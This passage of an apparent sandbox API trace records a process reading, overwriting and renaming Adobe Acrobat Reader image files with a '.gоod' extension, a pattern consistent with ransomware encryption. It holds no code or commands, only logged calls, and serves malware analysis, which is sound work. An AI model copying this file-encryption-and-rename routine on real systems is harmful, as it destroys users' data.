dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0121.617] GetFileType (hFile=0x7dc) returned 0x1 [0121.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0121.618] GetFileType (hFile=0x7dc) returned 0x1 [0121.618] WriteFile (in: hFile=0x7dc, lpBuffer=0x33d02d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x33d02d8*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0121.618] CloseHandle (hObject=0x7dc) returned 1 [0121.618] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x76 [0121.618] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif.gоod", lpFilePart=0x0) returned 0x7b [0121.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0121.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x44b4866b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6ab2)) returned 1 [0121.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0121.618] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark2x.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark2x.gif.gоod")) returned 1 [0121.619] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png", lpFilePart=0x0) returned 0x68 [0121.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0121.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x342c770 | out: lpFileInformation=0x342c770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f1)) returned 1 [0122.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0122.353] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png", lpFilePart=0x0) returned 0x68 [0122.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0122.362] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0122.362] GetFileType (hFile=0x6e4) returned 0x1 [0122.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0122.362] GetFileType (hFile=0x6e4) returned 0x1 [0122.362] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x3f1 [0122.364] ReadFile (in: hFile=0x6e4, lpBuffer=0x34fa8d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x34fa8d8*, lpNumberOfBytesRead=0x1fdec3e8*=0x3f1, lpOverlapped=0x0) returned 1 [0122.396] CloseHandle (hObject=0x6e4) returned 1 [0122.896] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png", lpFilePart=0x0) returned 0x68 [0122.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0122.897] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0122.897] GetFileType (hFile=0x768) returned 0x1 [0122.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0122.898] GetFileType (hFile=0x768) returned 0x1 [0122.898] WriteFile (in: hFile=0x768, lpBuffer=0x3830e50*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x3830e50*, lpNumberOfBytesWritten=0x1fdec2f8*=0x400, lpOverlapped=0x0) returned 1 [0122.899] CloseHandle (hObject=0x768) returned 1 [0122.899] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png", lpFilePart=0x0) returned 0x68 [0122.899] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png.gоod", lpFilePart=0x0) returned 0x6d [0122.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0122.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x457806ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x400)) returned 1 [0122.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0122.899] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons.png.gоod")) returned 1 [0122.899] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png", lpFilePart=0x0) returned 0x6b [0122.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0122.900] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x38321b8 | out: lpFileInformation=0x38321b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b7)) returned 1 [0122.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0122.900] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png", lpFilePart=0x0) returned 0x6b [0122.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0122.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0122.900] GetFileType (hFile=0x768) returned 0x1 [0122.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0122.900] GetFileType (hFile=0x768) returned 0x1 [0122.900] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x6b7 [0122.900] ReadFile (in: hFile=0x768, lpBuffer=0x3832bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x3832bb8*, lpNumberOfBytesRead=0x1fdec3e8*=0x6b7, lpOverlapped=0x0) returned 1 [0122.902] CloseHandle (hObject=0x768) returned 1 [0123.080] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png", lpFilePart=0x0) returned 0x6b [0123.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0123.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.082] GetFileType (hFile=0x768) returned 0x1 [0123.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0123.082] GetFileType (hFile=0x768) returned 0x1 [0123.083] WriteFile (in: hFile=0x768, lpBuffer=0x38ac268*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x38ac268*, lpNumberOfBytesWritten=0x1fdec2f8*=0x6c0, lpOverlapped=0x0) returned 1 [0123.084] CloseHandle (hObject=0x768) returned 1 [0123.084] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png", lpFilePart=0x0) returned 0x6b [0123.085] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png.gоod", lpFilePart=0x0) returned 0x70 [0123.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0123.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4594a0fb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6c0)) returned 1 [0123.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0123.085] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons_2x.png.gоod")) returned 1 [0123.086] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png", lpFilePart=0x0) returned 0x70 [0123.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0123.086] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions.png"), fInfoLevelId=0x0, lpFileInformation=0x38ad5e0 | out: lpFileInformation=0x38ad5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bb)) returned 1 [0123.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0123.086] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png", lpFilePart=0x0) returned 0x70 [0123.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0123.086] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.086] GetFileType (hFile=0x768) returned 0x1 [0123.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0123.086] GetFileType (hFile=0x768) returned 0x1 [0123.086] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x6bb [0123.086] ReadFile (in: hFile=0x768, lpBuffer=0x38ae018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x38ae018*, lpNumberOfBytesRead=0x1fdec3e8*=0x6bb, lpOverlapped=0x0) returned 1 [0123.088] CloseHandle (hObject=0x768) returned 1 [0124.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0124.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0124.424] GetFileType (hFile=0x644) returned 0x1 [0124.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0124.425] GetFileType (hFile=0x644) returned 0x1 [0125.681] WriteFile (in: hFile=0x644, lpBuffer=0x364e0d8*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x364e0d8*, lpNumberOfBytesWritten=0x1fdec2f8*=0x6c0, lpOverlapped=0x0) returned 1 [0125.682] CloseHandle (hObject=0x644) returned 1 [0125.682] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png", lpFilePart=0x0) returned 0x70 [0125.682] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png.gоod", lpFilePart=0x0) returned 0x75 [0125.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0125.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4720d77f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6c0)) returned 1 [0125.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0125.683] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions.png.gоod")) returned 1 [0125.683] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png", lpFilePart=0x0) returned 0x72 [0125.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0125.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions2x.png"), fInfoLevelId=0x0, lpFileInformation=0x3650790 | out: lpFileInformation=0x3650790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe0b)) returned 1 [0125.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0125.684] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png", lpFilePart=0x0) returned 0x72 [0125.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0125.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0125.684] GetFileType (hFile=0x644) returned 0x1 [0125.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0125.684] GetFileType (hFile=0x644) returned 0x1 [0125.684] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0xe0b [0125.684] ReadFile (in: hFile=0x644, lpBuffer=0x3651918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x3651918*, lpNumberOfBytesRead=0x1fdec3e8*=0xe0b, lpOverlapped=0x0) returned 1 [0125.945] CloseHandle (hObject=0x644) returned 1 [0125.971] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png", lpFilePart=0x0) returned 0x72 [0125.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0125.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0125.972] GetFileType (hFile=0x644) returned 0x1 [0125.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0125.973] GetFileType (hFile=0x644) returned 0x1 [0125.973] WriteFile (in: hFile=0x644, lpBuffer=0x36fc490*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x36fc490*, lpNumberOfBytesWritten=0x1fdec2f8*=0xe10, lpOverlapped=0x0) returned 1 [0125.973] CloseHandle (hObject=0x644) returned 1 [0125.973] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, 